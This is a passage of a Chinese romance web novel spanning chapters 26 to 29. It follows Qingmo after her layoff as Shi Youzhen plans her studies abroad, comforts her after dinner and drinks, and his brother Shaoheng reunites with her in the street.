施友臻挑车太有眼光,财富自由到他那种程度,怎么可能有低调的车。 何副总脸色挺有戏,还看了眼清茉的包。 晓杨站在清茉身旁,跟何副总打了个招呼,何副总跟何姝还有其他几个小团体成员脸色各异简单打招呼走过去,晓杨小声说着:“卧槽好爽,你还有别的车吗?包也行,我离职的时候你借给我,我也这样来一次,好爽。” 清茉想了想,说着:“好呀,我帮你搞。” 中午跟晓杨找了个清静地儿吃饭,吃到一半收到了施友臻发来的一个文件,点开一看,竟然就是施友臻分析的清茉深造选择,仍旧是施友臻的行文风格,简洁严谨,顶级公文文风。 第一部分是国家地域选择,第二部分是学校专业选择,第三部分是筹备实施规划。 清茉划到国家地域选择那里,第一自然段简洁明了地给出了结论:“做出感兴趣标记的三十六处,以南欧地中海沿岸国家为最。” 清茉一愣,施友臻给她整理的材料很厚,她按次序阅读,勾选标记的时候都没有特别去计算留意,但是确实最喜欢南欧的阳光和沙滩,施友臻提炼得很正确。 清茉看着手机莞尔,晓杨问着:“看什么呢?” 清茉:“看到上帝关上一扇窗,又打开一扇窗。”想了想又补充道:“不是上帝,是我哥。” 晓杨:“哪儿冒出来一个哥?” 清茉笑:“一直都有哦。” 施友臻又发来一条信息,上面是一个餐厅名字和地址。他写着:“晚七点见。” 第26章 第二十六章 很多情绪,需要一个发酵的…… 很多情绪, 需要一个发酵的过程,跟晓杨分开后,清茉开着车漫无目的地绕着三环路转了一大圈, 她下决定很果断,也是因为这些年需要她独自做出决断的事情太多,内耗不能解决问题, 踟蹰不前只会浪费更多时间和精力。 不值确实不值,生气也确实生气, 但是她已经决定不再纠结于仲裁, 而是需要冷静一下, 好好想想下一步该怎么走。 之前就业的时候, 考虑自己的文科背景, 投的基本都是文秘,这些年实践下来,只能说可以给予相对稳定的工作和薪金, 大集团工作高度饱和, 事务琐碎,精神紧绷, 不容易出彩, 但是容易出错。 平时这个时间, 应该是埋头工位盯着电脑,要么疯狂写稿, 要么报送各种文书, 看各种人脸色,解决各种部门的需求,她平时很少请假,经年累月在办公楼中重复着工作内容, 很少见工作日下午明媚的阳光。 下午清茉实在没什么事情做,突然清闲下来,心里空落落,干事情也提不起兴致,更没有娱乐逛街的心情,甚至想要不要赶紧回去准备新的简历,抓紧时间在往上投放,可是往哪儿投呢,还是投文秘行政吗?想想就觉得心好累,丧失工作欲望和热情,也是很可怕的事情。 比起马不停蹄连轴转,清茉觉得自己需要喘口气,恢复下状态。 兜了一圈,正好到了北边,按照施友臻发的地址,提前将近三个小时就到了。 吃饭的地方在北郊公园旁,野郊公园很大,雪后白茫茫一片,餐厅在一个仿古四合院建筑中,圈了很大一片院落。清茉停好车,已经有服务生过来礼貌引领,她报了预约,很快餐厅老板就亲自迎了出来,领清茉去预定的房间,热络地上了几份中式下午茶。 施友臻到哪里都是超级VIP。 乌梅乳酪很开胃,几杯暖茶下肚,清茉看时间还早,就出门溜达,庭院外一片草地上积雪完整铺盖,远远是一片松林,空气中是清淡的松香和湿润冷冽的雪意,雪地上面留着几串小动物脚印,很有意趣,应该是游荡在附近的野生动物,松鼠还是猫咪? 清茉踏雪走进,蹲下揉了几个雪团,得了趣味,慢条斯理地攥出来不大不小的雪人,戳出眼睛、嘴巴,表情各种各样,一排两排排排坐,很可爱,像呆头呆脑上课的娃娃。 施友臻抵达的时候,就看到这么一幅画面,夕阳还斜斜留着最后的金色余晖,淡淡照在开阔的园区雪地上,也照在雪地上的女孩身上。冬日沉沉的夜晚已经侵占了大半天空,日夜交界的安静庭园中,清茉赤手在捏一堆白莹莹的小小雪人。 下雪不冷,化雪冷,她的手冻得通红,鼻尖也是,脸颊也是,白莹莹的皮肤透着红,倒是显得元气活泼了些。 听到脚步声,清茉抬起头,看着眼前长身挺立的施友臻,哈出一团白色雾气烘手,问着:“哥,你来了,看,雪人军队,太可爱了。” 施友臻看着她,突然发觉,清茉对于寒冷、疼痛、生病,可能有一种钝感。 以前不是这样的。 清茉小时候受宠受重视,算高敏高需求的孩子,有段时间少衡出国,施友臻高年级放学早,放学会顺便接清茉回家,哪怕是晚到一分钟,清茉都会鼓着肉嘟嘟小腮瞪他半天,吵吵闹闹一路,讲着各种补偿条件。 有次她在学校翻看新书,被纸张划了一个小小的口子,硬是举着小手指,从学校举到家中,从施家大院举到她自己家,收获了无数关心和问候。 她现在的这份钝感,又是因为经历了什么脱敏的过程,高烧也无所谓地站在路边吹冷风,摔破了膝盖也后知后觉不吭声,这么冷的天在户外玩雪也不会在意戴不戴手套。 蹲太久,清茉站起来晃了晃,施友臻已经抬手去扶,托着清茉手肘,问她:“不冷吗?” 说话间夕阳彻底沉了下去,清茉双手握在一起,笑道:“还好呀,玩起来就不觉得冷了,等一下我拍个照片,哥,帮我拍一个,我和我的军队,Snowman army!” 施友臻用了自己的手机,后退几步调整角度,将清茉和小雪人们一起收录到镜头中,拍好后清茉凑过来看,挨得施友臻很近,发顶都蹭到了施友臻下巴。 有些痒。 清茉看了照片很满意:“拍得很好嘛,哥,发给我。” 施友臻传过去,领清茉进餐厅,餐厅老板已经等候多时,跟施友臻介绍了晚上的菜品,施友臻把菜单递给清茉,说着:“自己点。” 清茉没推辞,挑了几个清淡的小菜。等菜的时候,清茉看着端庄放在一旁的新包,说了句:“谢谢哥,很喜欢,超喜欢。” 施友臻抬眼看了下:“嗯,好好学习,表现好带你再去挑。” 清茉听到耳朵里,就想起艾米的“Daddy”评价,这话说的,还真是挺有那味。 施友臻问:“分析都看过了吧,专业选择是倾向于艺术类吗?” 清茉读材料的时候,确实在很多艺术设计类上做了标记,但是当时只是觉得专业有趣,比如视觉传达、景观、装饰、珠宝、服装,真的要去学,恐怕也没有基础,艺术功底是需要经年累月去积累的,她这样基础薄弱去冒然开始,会很难。 创造性的工作让人兴奋也痛苦,不过话说回来,文书这种更是温水煮青蛙,枯燥地磨人。 清茉就实话实说着:“应该很有趣,不过我没有什么艺术课程基础。” 施友臻不觉得是很难办的事情,在他的认知世界中,估计也不存在什么特别难办的事情,他说道:“你小时候不是画画不错吗?还办过画展。基础什么时候打都不晚,感兴趣就好。” 清茉一愣,才想起来确实有过办画展这么一回事,难得施友臻还记得,她笑道:“什么画展啊,都是用钱纯砸的好吧,我那才学多久,就是花钱租场地,找人策划展览,钱到位都能办,大人们当成交际场合,我爸妈非得想显摆……” 清茉提到父母猛然截住话头,低头握住热乎乎的水杯,抬脸又笑着说道:“我记得就少衡过去了,哥你也去了?我都没看到。” 施友臻:“嗯,去看了一眼。” 他当时还礼节性地带了一捧花,坐车过去的路上,粉红娇艳的花束上沾着晶莹水滴,轻浅花香萦绕车内,施友臻到达美术馆的时候,清茉跟少衡还有一帮同龄玩伴聚在一起很吵闹,施友臻转交了鲜花就离开了。 清茉问着:“哥,我可以喝点酒吗?好像在外面待时间太久,有点冷。” 施友臻:“可以。” 暖身子要喝白酒,辛香入喉,暖辣心脾。 席间施友臻很认真地问询清茉的打算,融恒集团旗下有几家涉及设计类的公司,平面视觉、游戏开发,清茉如果想了解相关行业或者实习参观打基础,施友臻可以给予业内专业支持,院校里的专家学者单独邀约授课也可以。 还有语言课,如果要去南欧地中海沿岸,语言也是要重新打基础,学习任务应该会排的很满,施友臻给清茉排了排时间,但是讲着讲着,发现清茉好像有点醉意,眼神懵懵的,不晓得是不是在专心听。 疲惫的时候喝酒特别容易醉,清茉平时酒量还可以,但是今天上头很快,几杯下肚已经有点恍惚,她问着:“真的学什么都可以?艺术类很贵的。” 施友臻:“嗯,都可以,喜欢就可以。” 清茉:“那我学回来要自己开公司,哥你给我启动资金。” 施友臻:“学得靠谱就给你启动资金。” 清茉:“算了,不要学设计,会被AI取代,失业很可怕,我还得还房贷。” 施友臻:“灵感和情感不会那么容易被取代,看你想发展到什么程度,可以成为不被替代的那种。” 清茉想,好玄幻,像在讨论别人的人生,听起来过于美好,像假的,她凭什么啊,施友臻凭什么啊? 清茉举杯敬施友臻:“哥,听着像做梦,我真没想过可以这么选择,其实我还有很多想学的学科,我写东西超好,超厉害。” 施友臻瞧着已经半醉似的自夸清茉,哄道:“嗯,想学就学,多学几年也没关系。” 正讲着话呢,清茉手机震动,来电的是少衡,清茉就接了,少衡还是非常大声地在电话那边吵嚷着:“茉茉,我被大哥派来H市出差!也下雪了,我堆了个大雪人,等一下我换成视频通话,茉茉你接一下,我想跟你视频。” 少衡又打了视频申请过来,清茉被酒精渲染得思维不像平时那么机警,她没有接,但是看向了施友臻,施友臻说道:“接吧。”清茉才点了接通。 晃动的镜头里是一个潦草的大雪人,齐腰那么高,少衡先拍雪人,又翻转镜头拍自己,大脸离镜头很近,充斥了整个画面,少衡兴冲冲问着:“在吃饭吗茉茉?你脸好红,竟然接了我视频通话哎!你之前一直不接!好开心,你拉近一点我看看你!” 清茉把镜头拉远。 少衡:“干嘛躲啊!茉茉看到我雪人了吗?这边雪很大,积雪很厚,回去我找你滑雪去行吗?茉茉你近一点,我好好看看。” 清茉想说什么,抬眼看了下施友臻,又不知道该怎么说,看着镜头中少衡堆的粗糙大雪人,一时无语,想了想,说着:“信号不太好,少衡,回头再聊哈,你弄的雪人好丑。” 关掉视频通话,清茉把手机往施友臻面前推了推,说着:“少衡打的,不是我主动打的,他的雪人好潦草,从地上卷雪堆的吧,一条一条泥巴黑杠。” 施友臻看清茉醉了,就停了她的酒,上了甜汤和餐后水果,问她:“还好吗?” 清茉拎过身旁的包,紧紧抱在胸前,说着:“哥,吃好了,想回家。” 司机载他们回家,清茉倒没有醉得睡过去,一路上醒着看窗外,也不跟施友臻讲话,软塌塌靠在车门那侧,抱着怀里的包,像心思沉重,也像放空神游。 下车的时候,施友臻去给清茉开车门,夜晚路面凝了一层冰霜,施友臻扶清茉的时候,也不知道谁的动作错了位,最后变成了牵着清茉的手。 清茉的手仍旧很凉,好像还没有从玩雪时候暖和过来。 小小的房子施友臻已经很熟悉,进屋哄着清茉去洗漱换衣服,他脱掉外套,去端了杯温水,清茉乖巧地接过水喝了,放下水杯,眼神有些迷离地在房间里走来走去,施友臻坐到沙发上,看她来来回回,问道:“找什么?” 清茉是真的有些醉了,很跳脱地说着:“哥,你沙发太大了,去哪儿都挡着道。” 施友臻:“……” 清茉站到施友臻面前,看着舒适自在坐在沙发上的男人。 她眼神实在不像清明样子,直勾勾看着施友臻。人都是贪心的对不对,她感谢昨天雪夜里一直撑着的雨伞和不用声色的依靠,但是也介意为什么施友臻像个木头人一样,在她需要一个温暖和慰藉拥抱的时候,保持着克制的距离。果然还是嫌弃吗?可就是抬起胳膊拥抱一下,那么困难吗?就是抬一下胳膊。 清茉盯着施友臻,突然问了句:“哥,能抱我一下吗?” 施友臻很冷静,问的话也很冷静:“为什么?” 清茉一愣,嘴角明显耷下来,低声嘟囔道:“算了。” 第27章 第二十七章 酒精侵袭了大脑,有个很细…… 酒精侵袭了大脑, 有个很细很小的声音在清茉心底说着:可以松懈一小下,就一小下。 她鼓起勇气尝试,但是失败了。施友臻的馈赠界限分明, 财富自由的他,给予明码标价的物质金钱、山珍海味很容易,再多, 他会问一句“为什么”。 能有什么为什么,因为就是想在亲近一些的人面前, 卸掉强撑着的那口气儿, 喘息放松一下。 醉酒的清茉有点想念很久以前的小女孩, 在分离之前, 把施友臻界定为亲近的邻家哥哥, 可以调皮,可以耍脾气,可以撒娇, 也可以什么都跟他讲, 可以跟他求助,因为那时候, 他们之间是平等的。 好不容易鼓起来的勇气, 也被那句听起来冷冰冰没什么感情的“为什么”, 给顷刻间打碎得烟消云散。 清茉放弃,半转了身子要走的时候, 手腕被施友臻握住。 施友臻一直保持着自律和健康的生活方式, 常年进行体育锻炼,本来就高大健硕,因为自律和运动加持,总给人异于常人的挺拔威严感。这也导致, 他真的力气很大,他自诩平时跟人避免肢体接触,所以对于碰触力度,非常没个数,此刻他握着清茉手腕,清茉觉得疼。 上次清茉的手腕,被他轻易就攥出了青紫印子。 清茉不舒服地挣了挣,施友臻再次问她:“为什么要抱?” 清茉去扒拉他的手,但是被圈得太紧,挣不开,施友臻问:“你知道会发生什么吗?故意的吗?” 酒精让清茉脑子转得慢,但是又不是不转,她也看向施友臻,眨了两下眼睛,缓过神,自嘲又嘲讽地笑了下,说着:“哥,你也是俗人吗?你们都一样呗。” 林清茉好像自带特异功能,非常顺利地就让原本话锋占上风的施友臻变了脸色,清茉头一次有点感谢这个虚假的身份,可以顺势伪装,可以低劣防守,也可以无所禁忌地反击。 夜晚再次被这样割裂,前半夜温和温馨,后半夜刀光剑影。也不对,能对施友臻刀剑相向的人,大概还没出生。不能回避的是,施友臻对她的关注超过了某种界线,清茉觉得自己可能是施友臻打发时间的玩物。不至于这么自轻自贱,但是夸张描述的话,确实是。 因为施友臻的生活,很乏味,自律同时也意味着超级无趣,以前是,现在估计也是,毕竟人不会轻易改变。清茉这么想了,就干脆也这么问了:“哥,你是把我当什么小玩物养着玩吗?” 施友臻闻言很不赞同地蹙眉,问她:“什么意思?为什么这么想?” 清茉笑:“我什么没见过,你别当我是真是小孩。” 施友臻突然抬手捏了下清茉脸颊,道:“胡思乱想,好了,过来,抱一下。” 清茉有些气,就是一个简单的拥抱,怎么那么难,那么多废话,这会又轻飘飘要给。 她不要了。 酒精还是壮胆,清茉说着:“不用了,要不起,我睡觉去了,你不要老在我房子里过夜,赶紧回去吧。” 施友臻拉住要转身的气呼呼女孩,坚持道:“过来,不是想要嘛。” 他说要拥抱,可是压根没有站起来的打算,给予的也不是站着相拥的那种普通温馨拥抱,而是把清茉拉到了他的腿上,突然间就成了面对面跨坐的姿势。 他力气很大,清茉跌落,本能地分K腿跨坐施友臻腿上,惊得清茉瞪大眼睛,酒都醒了一半,跟施友臻面对面离得很近,气息就在咫尺。施友臻张开双臂,胳膊绕过清茉后腰,把她摁倒胸前,结结实实拥抱住。 说纯洁,这实在不是纯洁的样子,说不纯洁,施友臻轻轻顺着清茉的后背,像哄一个小孩。 清茉浑身紧绷,男人的气息让她本能地惶恐不安,像被突然捕猎,她后悔去招惹。总是屡教不改,招惹施友臻,很危险。 太近了,身体的暖意气息完全触达,清茉僵僵地一动不敢动,任由施友臻轻轻拍着她后背,脸颊贴在施友臻胸前,清晰听到他砰砰有力的心跳。 施友臻禁锢住清茉,想着:“确实很软。” 少衡咋咋呼呼说梦到清茉“软软的”,施友臻看不惯少衡孟浪作风,但是这个少衡确实说对了,清茉很软。腰肢细瘦不堪一握,胳膊很配合地柔柔搭在施友臻肩膀上,整个人抱在怀中好像没什么重量,但是很软,皮肉,筋骨,呼吸,都很软,带着属于清茉的身体温香。 明显感觉到怀里的人从紧绷到放松,好像变得更软了,施友臻顺着她后背,又抚弄清茉脑后长发。他从来没对谁这么亲昵安抚过,面对清茉却熟练地信手拈来。 清茉轻轻叹了口气,很轻,像那天深夜卧室里传来的一样,施友臻抱得更紧一些,说着:“不要总叹气,越叹气烦心事越多,总会有办法。” 清茉埋在施友臻胸前,幅度很小地用脸颊蹭了蹭施友臻胸口,闷闷说着:“嗯。” 施友臻环抱着她,收了收胳膊,让清茉依靠得更踏实。 又是一个非常安静的夜晚,清茉竟然很快趴在施友臻胸前睡着了,施友臻维持着这个过分亲昵的姿势,很长时间,直到听到她变得匀称的呼吸,又安静待了一会,等她睡得再沉一些,才抱回卧室中。 睡着没意识的时候,抱起来倒是重了一些,在施友臻的臂弯间温温软软,很乖,很漂亮。 第二天清晨,林清茉的生物钟还是彪悍地在日常上班的点儿把她喊醒,醒来在床上懵了一会。她昨天没到断片的程度,只是上头得快,趴在施友臻身上的时候,意识清醒,记忆清楚,她猜,自己就着那个尴尬的亲密姿势,直接趴在男人身上睡着了。 就很……不堪回首。 蹑手蹑脚出卧室,确认屋子里没人,清茉才松口气,不过看到边桌茶几上防着一张便签纸和一张门禁卡,上面是施友臻飘逸有力的手书,写着: “狮麟别苑,102栋。这是小区门禁,入户密码你生日,睡醒给我电话。” 清茉觉得也只能假装自己喝醉断片了,就伪装真忘记了,无事发生,大方方给施友臻拨过去,问着:“哥,我看到留言了。” 施友臻那边停顿几秒,说着:“稍等。” 清茉问:“哥在会议上吗?” 施友臻:“嗯。” 清茉:“那我待会再打。” 施友臻:“不用。”他中断会议走出会议室,继续说着:“给你单独准备了个学习的地方,对面就是图书馆,今天有时间过去看一看,有什么需要添置的跟我讲。” 清茉:“不用,我自己家就行。” 施友臻:“你的小屋睡觉可以,学习会局促,自己待着也容易烦躁,可以换个环境。那边也有工作间,影音室,先去看看,不合适再说。” 清茉:“那好吧,哥您先开会吧。” 施友臻:“嗯。好好吃饭,不要乱跑。” 清茉:“……” 拿着文件在一旁等候施友臻进入会场并听了全程对话的章大秘抬了抬自己的眼镜框,顿悟一番:BOSS一直没有人情味,也没有人间烟火的亲切感,那是因为没有遇到让他坠入红尘的人。 滚滚红尘浪打浪,一卷一个准,全部都吞进浪头中,谁也逃不掉。 清茉跟施友臻通话结束后,躺在宽敞的沙发中发了好久的呆,然后猛然一骨碌爬起来,掏出本子,用手机计算器写写算算,把自己的资产情况理了理。想了想,找出来一部分饰品、包包,都是工作交际充门面购入的,里面也包括董事长侄子送的那个品牌项链。 清茉准备出门的时候路过奢品二手店卖掉,林林总总能换出几个月房贷款额。 清茉心里隐隐有了打算,闲着发呆不是她的风格,想好了就去做。 奢品回收的店就在六六买手店旁边园区,清茉跟六六去过几次,跟老板娘认识,老板娘一件一件给过货,别的都没问题,就是董事长侄子送的那个链子有问题,是假的。 清茉无语大发了,她给回了三万现金!结果对方竟然拿假货糊弄! 太生气了! 清茉息事宁人惯了,第一反应是,算了,遇到鸟人了。老板娘给她转完账,清茉拿着那条假链子出门,脚步一顿,一想,凭什么啊? 她本想去六六那里商量点事儿,现在立马调头,开了四十多分钟奔向公司。 她离职就是昨天的事儿,人事承诺会按照法定规定给予补偿,该给的都给,算是维持了面儿上体面地两清,她突然出现在公司,大家以为是回来补办什么手续,也都客气打招呼,清茉笑着回应,然后直接去了董事长办公室,赶的也巧,董事长正好在。 清茉把那条项链放到董事长桌子上,董事长意外,不咋满意似的问:“怎么了?” 清茉:“你侄子给我的是假货你知道吗?不怎么,就是把钱还给我。” 董事长应该是觉得无语,问:“你说假的就假的?那点钱,你至于吗?那天就让你直接拿走你不拿,这会找这么蹩脚的理由来找茬,行了,我转给你,快走吧。人过留名,雁过留声,年轻人好好沉淀沉淀。” 林清茉觉得自己再沉淀就沉塘了,她把董事长办公室的门打开,声音不大也不小,说着:“确实是人过留名雁过留声,我也不知道您侄子怎么在背后糟蹋我名声,但是知假送假挺没品,您觉得有问题,咱们把他喊过来当面对质一下,所以要不还是报警?这些东西,都有购买记录,能查到的,查一查就知道。” 何副总从隔壁办公室出来,瞪着清茉问:“林清茉你干什么?” 清茉冲她笑了笑,说着:“没事 ,别害怕,这就走了。对了,您下次好好嘱咐嘱咐自己家亲戚,别再让大家伙食物中毒了,赔偿很昂贵的,不过没关系,公司帮您担着嘛,您那亲戚,别人不熟我还不熟嘛,前年的下午茶水果供应是他,天天给送烂货还得我一个个挑拣,去年办公用品也是他,一支劣质圆珠笔报价三十八,很抱歉我给重新审报价了,想着给公司把关省钱,看来真是蠢笨不自知,抓芝麻漏西瓜。” 清茉手机提示音响,清茉看了眼,对董事长说着:“转账收到了,谢了,再见。” 全程在角落中围观的晓杨,在人群之后悄悄给清茉竖了个大拇哥,清茉看到钱到账,踏实地转身就走。 清茉开着她飒爽美丽的小跑车重新驱车返回六六那里,一进门就乐,六六正在整理新装,问着:“干嘛呢?乐成这样?” 清茉:“素质不详,遇强则强,素质一放,海阔天空。果然,发疯让人快乐。老六,我跟你讲正经的,你帮我接点模特的兼职。” 第28章 第二十八章 六六问清茉:“这是怎么了…… 六六问清茉:“这是怎么了?突然改主意了?上次我朋友想高价请你拍摄, 出价那么高你都不带考虑。” 清茉:“我辞职了。”想了下纠正道:“被裁了。” 六六停下手里的活,没了嬉皮笑脸,问清茉:“这么突然?不应该啊, 你公司效益不是不错吗?就裁了你一个还是一批?无理由裁员吗?补偿怎么谈的?年终奖呢,怎么N?” 清茉坐在六六店里的沙发上,懒懒靠着椅背, 说着:“算是无理由吧,上上下下都盯着, 拿的补偿还行, 毕竟也算正规大公司。” 六六也坐到沙发上, 张开双臂:“好吧, 如果发生了什么事儿, 那肯定是他们的错,我们茉茉这么好,瞎了他们的狗眼, 来, 抱一个。” 清茉拥过去,六六心疼地顺着清茉后背, 替她不值:“亏你还天天那么投入, 旧的不去新的不来, 你肯定能找到更好的。”她松开清茉,掏手机:“我给焦叔打电话, 让他搞点, 晚上咱们吃好吃的,喝酒捞肉去。” 焦叔特别给六六面儿,接到电话后就专门采购去了,在二层露台玻璃屋支了铜锅涮肉, 煮了清茉喜欢的热红酒,特意来六六店里接她俩,进屋先问着:“听老六说茉茉辞职了?是要跟你们朋友艾米去S市发展吗?” 清茉一想,说着:“对哦,可是可以考虑的。” 六六拦住:“你再考虑考虑吧,艾米精明着呢,我怕你被她算计上,茉茉你有时候太认真了,不会讨巧。” 焦叔:“走吧,去我那边边吃边聊,我片了几条鱼生,鲜着呢,茉,咱整点白的?” 清茉想起昨天刚喝了,还没来得及拒绝呢,六六已经拍板了:“那当然得整,祝贺我们茉恢复自由身。茉茉我跟你讲,要不是你担心拍摄露出会影响日常工作,你接几单就能挣回工资了,我给你介绍几个靠谱的,咱们赚大钱去。” 清茉笑叹:“是啊,所以辛苦念书有什么用。” 焦叔一听不乐意了,反驳道:“你可别这么说,茉,你拍出来的气质好,那也是书卷堆出来的独一份,你想吃青春饭就吃,不吃各种工作也都能干,咱不一样的,别说丧气话,走,去叔那里一醉方休。” 焦叔调的麻酱蘸料一绝,牛羊肉都是去回民街买的新鲜现切,仨人在露台上围着铜锅吃得暖暖和和,六六跟清茉聊艾米的事儿,好像有点担心清茉真的去帮着艾米创业,话里话外都是劝,焦叔打趣道: “怎么,你们女生三个人的友情太拥挤了吗?” 六六气得挥拳揍焦叔,焦叔绷着自己的肱二头肌给她敲,六六干脆直说:“我怕艾米不给茉茉发工资!她太会算了,茉茉容易吃亏!万一艾米道德绑架说什么创业开始阶段资金周转紧张,然后又画大饼,茉茉不就白干了嘛。” 清茉笑:“不会,艾米没那么小气,我也没那么傻。” 六六不服,噘嘴喝酒,焦叔哄她:“慢点喝呗,手打虾滑要不要?” 焦叔要开第二家分店,看好了金融商务区的一个店面,准备主打西餐,六六的买手店生意红火,现在的店面太局促,准备租到园区内,看好了一出宽敞的二层独栋小楼,也谈差不多了。 清茉听着他俩谈论着近期规划,心里有点微妙的羡慕,之前一直被生活撵着往前冲,对于投资和经营又有畏惧心理,怕失败,怕赔得债务压身,所以按部就班去找了一份稳定体面的工作,以为是可以长久。 消耗掉最宝贵的一段青春之后,发现,也就是那样,或者说,好像不管怎么选,都是围城。塞翁失马焉知非福,遇到这种突发的暂停事件,好像也不全然是坏事。她要在事业戛然而止的时候,重新慎重选择。 六六说要是谈的顺利,下个月就搬过去,反正清茉时间宽裕了,六六约清茉拍摄正儿八经的时装艺术照,要装饰到新店的店铺里,她去约高级的摄影师。 聊天聊得多,酒喝得慢,没怎么上头,焦叔把新店位置发给清茉,还有店里的一些结构照片,说清茉审美好,让她帮着看看弄成什么风格比较吸引附近的高端白领和金融人士。清茉看着地址,是融恒集团旁边街区的大厦底商。 清茉答应过几天去看看,焦叔托她帮想点文艺的宣发广告词儿,里面的餐饮菜品也单独起个性化的名字,笑道:“我按市场价给你创意费。” 六六:“对对对,我也给劳务费。” 六六手机突然开始频繁震动,好像一下子进来好多条信息,她掏出来看,嘀咕着:“干嘛呢这么热闹,我也没上新装啊……” 她点开瞧了眼,说着:“哦,我一车友群,里面好多少爷小姐大客户,有人路过我店面拍了停门口的车,说是什么限量联名版的跑车,都在围观呢,艾特问我是不是我的。” 清茉凑过去看了眼,说着:“我开的那个?好像是挺难提到车的。” 六六:“你那个哥的吧,真豪,那我在群里说是客户的吧,这帮人真是。”六六发完,突然问着:“不过你有这么个哥,好好用用人家人脉呗,你都不知道艾米那天酸得都咬牙切齿了。” 清茉笑:“这不开上人家车了嘛,但是自己工作的事情,还是自己独立比较好,不然被安排到哪里都是别扭,人家卖他人情,我干好干不好,都是负担。” 六六:“行吧。” 三人又聊了好一会,清茉最后喝了一大杯焦叔特供热红酒,心情好很多,跟六六溜达着往店面返回,结果发现店门口车旁围着几个年轻人在拍照,有个年轻女孩认识六六,远远打招呼道: “六六姐!你怎么这么早打烊?我还想进去逛呢。” 走近又八卦问着:“到底谁的车啊?我正好在附近,看到群里的照片就过来了,这车简直是我梦想,哪个哥哥能送我这辆,我当场就嫁。” 附近园区网红潮牌店很多,少爷小姐们的交际圈子很多就在附近,六六知道这几位打扮新潮的窈窕女孩在附近干什么,没接茬,说着:“来都来了,进店里看看呗,我这里刚到几件夏装,超季哦。” 他们随着六六一起进了店,六六小声跟清茉说着:“你赶紧叫个代驾回去吧,这帮小孩八卦着呢,别被拍到照片四处传。” 清茉笑着应了,站在路旁打开软件叫代驾。 她在车边低着头往手机上敲字,今天喝得慢,微醺状态下神经比较放松,也不用担心明天早起上班,不用一遍遍核实会议议程和议题材料,也不用想着明天要早点去单位接待外部董事,更不用挨个领导办公室跑着汇报签字材料等流转。 夜风很冷,心里很清静,可以这么轻松的生活吗? 输入完成,代驾接单,大概还有六分钟到。 隔着窗户看六六在店里热情招待着年轻女孩们,身材姣好的女孩比照着落地衣镜搭配衣服,是无忧无虑的青春样子。清茉收回目光,拢了拢衣领,低头踢弄几块小石子发呆。 大雪之后,还是化雪时分的寒冷冬夜,独自伫立街头的清茉,突然被人从背后猛冲了一下。 她受惊,未来得及回头,被人从后面紧紧抱住。 抱得很紧,很用力,对方双臂横在清茉胸前,下巴搭在清茉肩窝,是热烘烘很沉的男人,男人音线里是难掩的开心和激动:“茉茉。” 那个拥抱,清茉不陌生,后来也记了很多很多年。 因为这世界上如此直白莽撞,如此毫不避讳,如此得像火焰一样热烈滚烫的人,只有一个。 不问过往,不必寒暄。 男人蹭了蹭清茉的鬓角,清茉拍了拍他的手背,眼睛有点酸涩,问着:“少衡?” 少衡抱得更紧,脑袋深深埋在清茉肩上。 六六隔着窗户看到,惊慌跑出来,上手去拉人,喊着:“你谁啊?快放手,茉茉你没事吧!”在店里选衣服的女孩也听着热闹出来。 施少衡是完全不会管旁人的主儿,仍旧是紧紧抱着,清茉也一言不发任由他这么抱,清茉悄然对六六摆了摆手,让她进屋,别管。 原来施少衡的朋友也在那个车友群,晚上在群里看到了车子照片,觉得眼熟,就发给少衡,问是不是施总提过的车,施少衡一看,还真是他哥前段时间购置的,他本来还想搞过来开段时间,他哥没搭理他。 施少衡本来还没在意,觉得可能就是谁买的同款,结果瞥见照片上六六买手店的标识,突然就蹦起来,想到了一种可能。 他一路飙车赶到,看到那辆车停在门口,但是六六买手店是关着门的。 施少衡不甘心,把车泊到路对面的空车位,准备等等看,等很久也没关系。 还真是等到了。 仿佛是需要慎重确认一样,他没有第一时间推开车门冲出去,而是看着清茉跟朋友一起步行穿过人行横道,又看着她站在车旁低着头独自静立。 月色下,很沉静的美丽女孩。 少衡走近清茉,看她低头站在那里发呆,想念了太久的人终于出现在眼前,有种不真实感,少衡走到她身后,像小时候承诺过的那样,很紧很紧地拥抱住清茉。 清茉又拍了拍少衡手背,少衡终于松开。 清茉转身,少衡看到她眼圈泛红,自己也红了眼睛,捧起清茉的脸,很用力地亲了清茉额头,连着亲了好多下,还亲出带着几分孩童幼稚的“啵啵”声。 亲完,捧着清茉的脸仔仔细细端详,重新紧紧拥抱进怀中。 真的是他的女孩茉茉。 第29章 第二十八章 清茉家搬走的时候,悄无声…… 清茉家搬走的时候, 悄无声息,跟谁都没有告别。少衡突然找不到人,闹了一段时间, 闹也没用,大人们不会因为孩子的哭闹动摇,就算两家之前走动频繁, 施家长辈们也喜欢茉茉这个漂亮活泼的小女孩,但是现实就是这样, 一朝失势, 就没必要继续维持了。 一年一年四季轮回, 没有谁是不可或缺, 偶尔会想念, 但也接受了分开的事实,是一段很美好的年少回忆,对于再见或者不见, 也没什么必须的执念了。小孩子长成了大人, 也就会大人一样变得实际。 但是不能否认,再见还是亲昵。 清茉任由施少衡抱着, 男孩子小时候长得晚, 以前跟她差不多高的小小少年, 已经长成了挺拔强壮的男人,一个拥抱就把清茉密密实实地包在了怀中, 清茉拍手拍了拍少衡后背, 说着:“好了吧!抱够没?” 少衡放开她,仔细看了看清茉的脸,又扑过去抱住,腻腻歪歪说着:“没有!一松开你又跑了怎么办?你知不知道我多想你!你刚搬走那会, 我哭了好久!” 清茉之前算是都见过少衡两次了,但是这货都没认出清茉。一次是在云端电梯口面对面,清茉带了口罩,少衡没认出她来,但是施友臻就认出来了,一次是少衡喝得烂醉断片,还压倒清茉摔了膝盖。 所以眼下都是见的第三次了,清茉挺淡定,少衡非常不满地抱着清茉摇晃:“你都不激动吗?你不是应该激动地跳到我身上吗?” 清茉用力拍了下少衡的后背,笑骂道:“你轻点,赶紧松开行吗?我腰要被你压折过去了。” 少衡这才松开清茉,满眼都是很灿烂的笑意,他的那种纯粹的开心,纯粹的久别重逢的喜悦,看得清茉心里酸涩,也很受感染,她红着眼圈问少衡:“见到我真的那么开心?真有那么开心?” 少衡很用力的点头,还是小时候接收清茉指示命令后打包票的那种点头方式,很果断,很用力,保证完成任务的那种。他又抱着清茉,小孩子似的抱在一起摇了摇,说着:“开心死我了,你再不见我我能疯,怎么见你一面就那么难啊!等等!” 少衡攥住清茉肩膀,拉开拥抱的距离,开始秋后算账:“你跟我哥不仅见面,还去安姨家吃饭!你敷衍我不见的时候!你为什么开着我哥的跑车?说!茉茉你什么意思!为什么区别对待!不解释清楚今儿就过不去!” 清茉笑着看少衡,不想骗他,但是也没法一两句解释清楚,就说着:“刚好有点业务碰到了,你哥那么严肃,我也不敢乱说话嘛。” 